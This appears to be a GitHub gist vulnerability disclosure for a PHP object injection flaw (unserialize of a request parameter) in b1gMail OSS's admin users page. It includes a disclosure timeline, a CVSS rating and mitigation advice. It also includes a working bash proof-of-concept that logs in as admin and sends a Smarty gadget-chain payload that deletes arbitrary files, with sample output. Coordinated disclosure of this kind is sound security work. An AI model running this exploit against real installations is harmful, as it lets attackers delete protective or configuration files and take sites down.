Skip to content

Instantly share code, notes, and snippets.

@mcdruid
Last active February 23, 2025 18:31
Show Gist options
  • Select an option

  • Save mcdruid/cb0b848c12fd6a6bc0c1b3357b983d30 to your computer and use it in GitHub Desktop.

Select an option

Save mcdruid/cb0b848c12fd6a6bc0c1b3357b983d30 to your computer and use it in GitHub Desktop.
b1gMail OSS Object Injection vulnerability

Summary

b1gMail OSS has a PHP Object Injection vulnerability as a result of Deserialization of Untrusted Data.

(POP/) Gadget Chains exist in b1gMail (and its libraries) which allow Object Injection vulnerabilities to be exploited, for example to delete arbitrary files. Other attacks may be possible depending on what plugins are installed.

The vulnerability is mitigated by the fact that the vulnerable functionality is in an admin page, access to which is restricted to administrators.

Because the vulnerability can be exploited via a GET request, it may be possible to conduct such an attack via Cross Site Scripting (XSS) or a similar vector.

Timeline

  • 2025-02-18: attempt to contact the b1gMail maintainers via contact form
  • 2025-02-21: successful contact established with maintainers via the forum
  • 2025-02-23: fix is committed and released

Details of the Project

Vulnerability Classification

  • CWE-502: Deserialization of Untrusted Data
  • CAPEC-586: Object Injection
  • CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:H 6.0 Medium
  • CVE: assignment pending

Vulnerable Code

https://github.com/b1gMail-OSS/b1gMail/blob/7.4.1/src/admin/users.php#L226

...has the following lines:

		// search?
		if(isset($_REQUEST['query']))
		{
			$query = unserialize($_REQUEST['query']);

Access to this admin functionality is restricted to administrators:

RequestPrivileges(PRIVILEGES_ADMIN);
AdminRequirePrivilege('users');

b1gMail includes a version of the Smarty template library, which has at least one Gadget Chain that can be used to exploit an unsafe deserialization vulnerability.

https://github.com/ambionics/phpggc/tree/master/gadgetchains/Smarty

Steps to Reproduce

Here's a simple Proof of Concept using a bash script, which uses one of the Smarty Gadget Chains. It requires admin credentials and the path of the file to be deleted.

$ touch /var/www/b1gMail/src/now_you_see_me.txt ; ls /var/www/b1gMail/src/*.txt ; echo ; ./poc.sh http://b1gmail.ddev.site admin f86bdb08 ../now_you_see_me.txt ; ls /var/www/b1gMail/src/*.txt

/var/www/b1gMail/src/now_you_see_me.txt  /var/www/b1gMail/src/robots.txt

# session_id: sid=58q6tkacg2saa3une1hp72rmv0
# element: s:21:"../now_you_see_me.txt"
# payload: a:2:{i:7;O:24:"Smarty_Internal_Template":2:{s:6:"cached";O:22:"Smarty_Template_Cached":3:{s:7:"lock_id";s:21:"../now_you_see_me.txt";s:9:"is_locked";b:1;s:7:"handler";O:34:"Smarty_Internal_CacheResource_File":0:{}}s:6:"smarty";O:6:"Smarty":4:{s:13:"cache_locking";i:1;s:9:"cache_dir";s:1:"/";s:12:"use_sub_dirs";b:1;s:5:"cache";b:1;}}i:7;i:7;}

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
...

/var/www/b1gMail/src/robots.txt

This attack might be used to remove a .htaccess file protecting a directory, or to delete an important source of config file, causing a Denial of Service.

Of course you could argue that if an attacker has the admin credentials, they could do more damage via the admin UI than using this technique. However, as noted this vulnerability may be exploitable via XSS / CSRF as it only requires a GET request. In addition, other Gadget Chains may be available depending on what other code is present e.g. in plugins.

Mitigation

The call to unserialize could be made safer by including the allowed_classes option to disable Object Injection:

https://www.php.net/manual/en/function.unserialize.php

...assuming it's not necessary for objects to be deserialized.

If possible, a better mitigation would be to replace the use of serialization with json_encode and json_decode.

#!/bin/bash
if [ "$#" -ne 4 ]; then
echo "Usage: $0 url username password target_file"
echo
echo "Examples:"
echo
echo "$0 http://b1gmail.ddev.site admin password ../now_you_see_me.txt"
echo "$0 http://b1gmail.ddev.site admin password /var/www/html/src/now_you_see_me.txt"
exit
fi
url="${1%/}" # 'http://b1gmail.ddev.site' # remove trailing slash
username="$2" # admin
password="$3" # f86bdb08
target_file="$4"
user_agent="Object Injection PoC"
# get session id by logging in with valid creds
session_id=$(curl -is "$url/admin/index.php" -A "$user_agent" -d "action=login&username=$username&password=$password" | grep -o 'sid=[[:alnum:]]*')
echo "# session_id: $session_id"
count_chars="${#target_file}"
# e.g. s:9:\".htaccess\";
element="s:${count_chars}:\"$target_file\""
# phpggc --public-properties -f Smarty/FD1 .htaccess
payload='a:2:{i:7;O:24:"Smarty_Internal_Template":2:{s:6:"cached";O:22:"Smarty_Template_Cached":3:{s:7:"lock_id";~PLACEHOLDER~;s:9:"is_locked";b:1;s:7:"handler";O:34:"Smarty_Internal_CacheResource_File":0:{}}s:6:"smarty";O:6:"Smarty":4:{s:13:"cache_locking";i:1;s:9:"cache_dir";s:1:"/";s:12:"use_sub_dirs";b:1;s:5:"cache";b:1;}}i:7;i:7;}'
# This will only work if there are no ^ chars in the file path
payload=$(echo $payload | sed "s^~PLACEHOLDER~^$element^")
echo "# element: $element"
echo "# payload: $payload"
echo
# send exploit
curl -sIXGET "$url/admin/users.php" -A "$user_agent" -G --data "$session_id" --data-urlencode "query=$payload"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment